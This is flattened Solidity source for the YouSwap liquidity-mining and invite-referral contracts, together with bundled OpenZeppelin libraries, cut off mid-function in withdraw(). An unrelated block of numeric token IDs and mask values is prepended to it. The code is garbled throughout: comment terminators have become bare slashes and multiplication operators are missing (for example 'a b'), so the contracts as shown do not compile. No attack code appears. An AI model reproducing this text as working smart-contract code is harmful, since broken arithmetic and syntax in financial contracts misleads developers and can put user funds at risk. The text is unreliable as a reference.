3091, 1027, 1014, 1025, 2096, 1006, 8915, 8737, 999, 1027, 1014, 1007, 1063, 3091, 1009, 1009, 1025, 8915, 8737, 1028, 1028, 1027, 1022, 1025, 1065, 2709, 2000, 5369, 2595, 3367, 4892, 1006, 3643, 1010, 3091, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 17788, 2575, 1036, 2000, 2049, 2004, 6895, 2072, 1036, 5164, 1036, 2002, 18684, 3207, 6895, 9067, 6630, 2007, 4964, 3091, 1012, 1008, 1013, 3853, 2000, 5369, 2595, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-03-25 / /** Submitted for verification at Etherscan.io on 2021-03-25 / // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: localhost/contract/library/ErrorCode.sol pragma solidity 0.7.4; library ErrorCode { string constant FORBIDDEN = 'YouSwap:FORBIDDEN'; string constant IDENTICAL_ADDRESSES = 'YouSwap:IDENTICAL_ADDRESSES'; string constant ZERO_ADDRESS = 'YouSwap:ZERO_ADDRESS'; string constant INVALID_ADDRESSES = 'YouSwap:INVALID_ADDRESSES'; string constant BALANCE_INSUFFICIENT = 'YouSwap:BALANCE_INSUFFICIENT'; string constant REWARDTOTAL_LESS_THAN_REWARDPROVIDE = 'YouSwap:REWARDTOTAL_LESS_THAN_REWARDPROVIDE'; string constant PARAMETER_TOO_LONG = 'YouSwap:PARAMETER_TOO_LONG'; string constant REGISTERED = 'YouSwap:REGISTERED'; string constant MINING_NOT_STARTED = 'YouSwap:MINING_NOT_STARTED'; string constant END_OF_MINING = 'YouSwap:END_OF_MINING'; string constant POOL_NOT_EXIST_OR_END_OF_MINING = 'YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING'; } // File: localhost/contract/interface/IYouswapInviteV1.sol pragma solidity 0.7.4; interface IYouswapInviteV1 { struct UserInfo { address upper;//上级 address[] lowers;//下级 uint256 startBlock;//邀请块高 } event InviteV1(address indexed owner, address indexed upper, uint256 indexed height);//被邀请人的地址，邀请人的地址，邀请块高 function inviteCount() external view returns (uint256);//邀请人数 function inviteUpper1(address) external view returns (address);//上级邀请 function inviteUpper2(address) external view returns (address, address);//上级邀请 function inviteLower1(address) external view returns (address[] memory);//下级邀请 function inviteLower2(address) external view returns (address[] memory, address[] memory);//下级邀请 function inviteLower2Count(address) external view returns (uint256, uint256);//下级邀请 function register() external returns (bool);//注册邀请关系 function acceptInvitation(address) external returns (bool);//注册邀请关系 function inviteBatch(address[] memory) external returns (uint, uint);//注册邀请关系：输入数量，成功数量 } // File: localhost/contract/implement/YouswapInviteV1.sol pragma solidity 0.7.4; contract YouswapInviteV1 is IYouswapInviteV1 { address public constant ZERO = address(0); uint256 public startBlock; address[] public inviteUserInfoV1; mapping(address => UserInfo) public inviteUserInfoV2; constructor () { startBlock = block.number; } function inviteCount() override external view returns (uint256) { return inviteUserInfoV1.length; } function inviteUpper1(address _owner) override external view returns (address) { return inviteUserInfoV2[_owner].upper; } function inviteUpper2(address _owner) override external view returns (address, address) { address upper1 = inviteUserInfoV2[_owner].upper; address upper2 = address(0); if (address(0) != upper1) { upper2 = inviteUserInfoV2[upper1].upper; } return (upper1, upper2); } function inviteLower1(address _owner) override external view returns (address[] memory) { return inviteUserInfoV2[_owner].lowers; } function inviteLower2(address _owner) override external view returns (address[] memory, address[] memory) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 count = 0; uint256 lowers1Len = lowers1.length; for (uint256 i = 0; i < lowers1Len; i++) { count += inviteUserInfoV2[lowers1[i]].lowers.length; } address[] memory lowers; address[] memory lowers2 = new address[](count); count = 0; for (uint256 i = 0; i < lowers1Len; i++) { lowers = inviteUserInfoV2[lowers1[i]].lowers; for (uint256 j = 0; j < lowers.length; j++) { lowers2[count] = lowers[j]; count++; } } return (lowers1, lowers2); } function inviteLower2Count(address _owner) override external view returns (uint256, uint256) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 lowers2Len = 0; uint256 len = lowers1.length; for (uint256 i = 0; i < len; i++) { lowers2Len += inviteUserInfoV2[lowers1[i]].lowers.length; } return (lowers1.length, lowers2Len); } function register() override external returns (bool) { UserInfo storage user = inviteUserInfoV2[tx.origin]; require(0 == user.startBlock, ErrorCode.REGISTERED); user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(tx.origin); emit InviteV1(tx.origin, user.upper, user.startBlock); return true; } function acceptInvitation(address _inviter) override external returns (bool) { require(msg.sender != _inviter, ErrorCode.FORBIDDEN); UserInfo storage user = inviteUserInfoV2[msg.sender]; require(0 == user.startBlock, ErrorCode.REGISTERED); UserInfo storage upper = inviteUserInfoV2[_inviter]; if (0 == upper.startBlock) { upper.upper = ZERO; upper.startBlock = block.number; inviteUserInfoV1.push(_inviter); emit InviteV1(_inviter, upper.upper, upper.startBlock); } user.upper = _inviter; upper.lowers.push(msg.sender); user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); return true; } function inviteBatch(address[] memory _invitees) override external returns (uint, uint) { uint len = _invitees.length; require(len <= 100, ErrorCode.PARAMETER_TOO_LONG); UserInfo storage user = inviteUserInfoV2[msg.sender]; if (0 == user.startBlock) { user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); } uint count = 0; for (uint i = 0; i < len; i++) { if ((address(0) != _invitees[i]) && (msg.sender != _invitees[i])) { UserInfo storage lower = inviteUserInfoV2[_invitees[i]]; if (0 == lower.startBlock) { lower.upper = msg.sender; lower.startBlock = block.number; user.lowers.push(_invitees[i]); inviteUserInfoV1.push(_invitees[i]); count++; emit InviteV1(_invitees[i], msg.sender, lower.startBlock); } } } return (len, count); } } // File: localhost/contract/interface/ITokenYou.sol pragma solidity 0.7.4; interface ITokenYou { function mint(address recipient, uint256 amount) external; function decimals() external view returns (uint8); } // File: localhost/contract/interface/IYouswapFactoryV1.sol pragma solidity 0.7.4; /* 挖矿 / interface IYouswapFactoryV1 { /* 用户挖矿信息 / struct RewardInfo { uint256 receiveReward;//总领取奖励 uint256 inviteReward;//总邀请奖励 uint256 pledgeReward;//总质押奖励 } /* 质押用户信息 / struct UserInfo { uint256 startBlock;//质押开始块高 uint256 amount;//质押数量 uint256 invitePower;//邀请算力 uint256 pledgePower;//质押算力 uint256 pendingReward;//待领取奖励 uint256 inviteRewardDebt;//邀请负债 uint256 pledgeRewardDebt;//质押负债 } /* 矿池信息（可视化） / struct PoolViewInfo { address lp;//LP地址 string name;//名称 uint256 multiple;//奖励倍数 uint256 priority;//排序 } /* 矿池信息 / struct PoolInfo { uint256 startBlock;//挖矿开始块高 uint256 rewardTotal;//矿池总奖励 uint256 rewardProvide;//矿池已发放奖励 address lp;//lp合约地址 uint256 amount;//质押数量 uint256 lastRewardBlock;//最后发放奖励块高 uint256 rewardPerBlock;//单个区块奖励 uint256 totalPower;//总算力 uint256 endBlock;//挖矿结束块高 uint256 rewardPerShare;//单位算力奖励 } //////////////////////////////////////////////////////////////////////////////////// /* 自邀请 self：Sender地址 / event InviteRegister(address indexed self); /* 更新矿池信息 action：true(新建矿池)，false(更新矿池) pool：矿池序号 lp：lp合约地址 name：矿池名称 startBlock：矿池开始挖矿块高 rewardTotal：矿池总奖励 rewardPerBlock：区块奖励 multiple：矿池奖励倍数 priority：矿池排序 / event UpdatePool(bool action, uint256 pool, address indexed lp, string name, uint256 startBlock, uint256 rewardTotal, uint256 rewardPerBlock, uint256 multiple, uint256 priority); /* 矿池挖矿结束 pool：矿池序号 lp：lp合约地址 / event EndPool(uint256 pool, address indexed lp); /* 质押 pool：矿池序号 lp：lp合约地址 from：质押转出地址 amount：质押数量 / event Stake(uint256 pool, address indexed lp, address indexed from, uint256 amount); /* pool：矿池序号 lp：lp合约地址 totalPower：矿池总算力 owner：用户地址 ownerInvitePower：用户邀请算力 ownerPledgePower：用户质押算力 upper1：上1级地址 upper1InvitePower：上1级邀请算力 upper2：上2级地址 upper2InvitePower：上2级邀请算力 / event UpdatePower(uint256 pool, address lp, uint256 totalPower, address indexed owner, uint256 ownerInvitePower, uint256 ownerPledgePower, address indexed upper1, uint256 upper1InvitePower, address indexed upper2, uint256 upper2InvitePower); //算力 /* 解质押 pool：矿池序号 lp：lp合约地址 to：解质押转入地址 amount：解质押数量 / event UnStake(uint256 pool, address indexed lp, address indexed to, uint256 amount); /* 提取奖励 pool：矿池序号 lp：lp合约地址 to：奖励转入地址 amount：奖励数量 / event WithdrawReward(uint256 pool, address indexed lp, address indexed to, uint256 amount); /* 挖矿 pool：矿池序号 lp：lp合约地址 amount：奖励数量 / event Mint(uint256 pool, address indexed lp, uint256 amount); //////////////////////////////////////////////////////////////////////////////////// /* 修改OWNER / function transferOwnership(address) external; /* 设置YOU / function setYou(ITokenYou) external; /* 设置邀请关系 / function setInvite(YouswapInviteV1) external; /* 质押 / function deposit(uint256, uint256) external; /* 解质押、提取奖励 / function withdraw(uint256, uint256) external; /* 矿池质押地址 / function poolPledgeAddresss(uint256) external view returns (address[] memory); /* 算力占比 / function powerScale(uint256, address) external view returns (uint256); /* 待领取的奖励 / function pendingReward(uint256, address) external view returns (uint256); /* 下级收益贡献 / function rewardContribute(address, address) external view returns (uint256); /* 个人收益加成 / function selfReward(address) external view returns (uint256); /* 通过lp查询矿池编号 / function poolNumbers(address) external view returns (uint256[] memory); /* 设置运营权限 / function setOperateOwner(address, bool) external; //////////////////////////////////////////////////////////////////////////////////// /* 新建矿池 / function addPool(string memory, address, uint256, uint256) external returns (bool); /* 修改矿池区块奖励 / function setRewardPerBlock(uint256, uint256) external; /* 修改矿池总奖励 / function setRewardTotal(uint256, uint256) external; /* 修改矿池名称 / function setName(uint256, string memory) external; /* 修改矿池倍数 / function setMultiple(uint256, uint256) external; /* 修改矿池排序 */ function setPriority(uint256, uint256) external; //////////////////////////////////////////////////////////////////////////////////// } // File: localhost/contract/implement/YouswapFactoryV1.sol pragma solidity 0.7.4; contract YouswapFactoryV1 is IYouswapFactoryV1 { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 public deployBlock;//合约部署块高 address public owner;//所有权限 mapping(address => bool) public operateOwner;//运营权限 ITokenYou public you;//you contract YouswapInviteV1 public invite;//invite contract uint256 public poolCount = 0;//矿池数量 mapping(address => RewardInfo) public rewardInfos;//用户挖矿信息 mapping(uint256 => PoolInfo) public poolInfos;//矿池信息 mapping(uint256 => PoolViewInfo) public poolViewInfos;//矿池信息 mapping(uint256 => address[]) public pledgeAddresss;//矿池质押地址 mapping(uint256 => mapping(address => UserInfo)) public pledgeUserInfo;//矿池质押用户信息 uint256 public constant inviteSelfReward = 5;//质押自奖励，5% uint256 public constant invite1Reward = 15;//1级邀请奖励，15% uint256 public constant invite2Reward = 10;//2级邀请奖励，10% uint256 public constant rewardPerBlock = 267094;//区块奖励 uint256 public rewardTotal = 0;//总挖矿奖励 constructor (ITokenYou _you, YouswapInviteV1 _invite) { deployBlock = block.number; owner = msg.sender; invite = _invite; _setOperateOwner(owner, true); _setYou(_you); } //////////////////////////////////////////////////////////////////////////////////// function transferOwnership(address _owner) override external { require(owner == msg.sender, ErrorCode.FORBIDDEN); require((address(0) != _owner) && (owner != _owner), ErrorCode.INVALID_ADDRESSES); address oldOwner = owner; owner = _owner; _setOperateOwner(oldOwner, false); _setOperateOwner(owner, true); } function setYou(ITokenYou _you) override external { _setYou(_you); } function _setYou(ITokenYou _you) internal { require(owner == msg.sender, ErrorCode.FORBIDDEN); you = _you; } function setInvite(YouswapInviteV1 _invite) override external { require(owner == msg.sender, ErrorCode.FORBIDDEN); invite = _invite; } function deposit(uint256 _pool, uint256 _amount) override external { require(0 < _amount, ErrorCode.FORBIDDEN); PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (poolInfo.startBlock <= block.number), ErrorCode.MINING_NOT_STARTED); //require(0 == poolInfo.endBlock, ErrorCode.END_OF_MINING); (, uint256 startBlock) = invite.inviteUserInfoV2(msg.sender); if (0 == startBlock) { invite.register(); emit InviteRegister(msg.sender); } IERC20(poolInfo.lp).safeTransferFrom(msg.sender, address(this), _amount); (address upper1, address upper2) = invite.inviteUpper2(msg.sender); computeReward(_pool); provideReward(_pool, poolInfo.rewardPerShare, poolInfo.lp, msg.sender, upper1, upper2); addPower(_pool, msg.sender, _amount, upper1, upper2); setRewardDebt(_pool, poolInfo.rewardPerShare, msg.sender, upper1, upper2); emit Stake(_pool, poolInfo.lp, msg.sender, _amount); } function withdraw(uint256 _pool, uint256 _amount) override external { PoolInfo storage poolInfo = poolInfos[_pool]; require((address(0) != poolInfo.lp) && (poolInfo.startBlock <= block.number), ErrorCode.MINING_NOT_STARTED); if (0 < _amount) { UserInfo storage userInfo = pledgeUserInfo[_pool][msg.sender]; require(_amount <= userInfo.amount, ErrorCode.BALANCE_INSUFFICIENT); IERC20(poolInfo.lp).safeTransfer(msg.sender, _amount); emit UnStake(_pool, poolInfo.lp, msg.sender, _amount); } (address 